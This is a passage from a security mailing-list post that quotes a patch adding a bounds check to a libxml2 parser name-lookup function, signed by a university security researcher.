> -    if ((*ctxt->input->cur == '\n') && (ctxt->input->cur[-1] == '\r'))
> -        return(xmlDictLookup(ctxt->dict, ctxt->input->cur - (len + 1),
> len));
> -    return(xmlDictLookup(ctxt->dict, ctxt->input->cur - len, len));
> +
> +    if (BASE_PTR + startPosition + len > ctxt->input->end)
> +      return(NULL);
> +
> +    return(xmlDictLookup(ctxt->dict, BASE_PTR + startPosition, len));
>  }
>
>  /**
> Best regards,
> - Marcel
>
> ---
> Marcel Boehme
> Postdoctoral Research Fellow
> TSUNAMi Security Research Centre
> National University of Singapore

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.